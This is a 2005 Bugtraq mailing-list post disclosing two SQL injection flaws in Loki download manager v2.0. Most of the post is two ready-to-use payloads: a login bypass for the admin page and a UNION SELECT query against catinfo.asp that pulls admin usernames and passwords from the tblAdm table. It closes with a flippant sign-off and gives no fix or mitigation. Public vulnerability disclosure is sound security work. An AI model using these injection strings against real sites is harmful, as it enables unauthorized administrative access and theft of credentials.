[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: 2 SQL injection in Loki download manager v2.0
From: hack_912 () hotmail ! com
Date: 2005-06-08 16:25:37
Message-ID: 20050608162537.31686.qmail () securityfocus ! com
[Download RAW message or body]
hi all
tow SQL injection in Loki download manager
1. in http://localhost/adm/default.asp
user: anyuser
pass: 'or''='
2. in http://localhost/downmancv/catinfo.asp?cat=' union select \
null,null,user,null,null,null,null,null,pass,null,null,null,null,null FROM tblAdm '
and u will have user and pass h4ve F4n
Salmanooh
hack_912@hotmail.com
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic